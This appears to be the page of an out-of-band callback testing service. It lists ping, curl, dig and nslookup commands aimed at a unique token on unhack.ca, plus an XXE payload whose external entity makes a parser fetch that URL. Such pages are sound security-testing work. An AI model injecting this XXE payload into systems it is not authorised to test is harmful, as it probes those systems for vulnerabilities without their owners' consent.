$ ping -c1 -p 009f9fe4fed8a62e82f83197a12fc600 unhack.ca
 
$ curl http://unhack.ca/p/9f9fe4fed8a62e82f83197a12fc6
 
$ dig 9f9fe4fed8a62e82f83197a12fc6 @unhack.ca
 
$ dig 9f9fe4fed8a62e82f83197a12fc6.ns.unhack.ca
 
C:\> nslookup 9f9fe4fed8a62e82f83197a12fc6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9f9fe4fed8a62e82f83197a12fc6">]>
    <foo>&xxe;</foo>
Waiting for ping...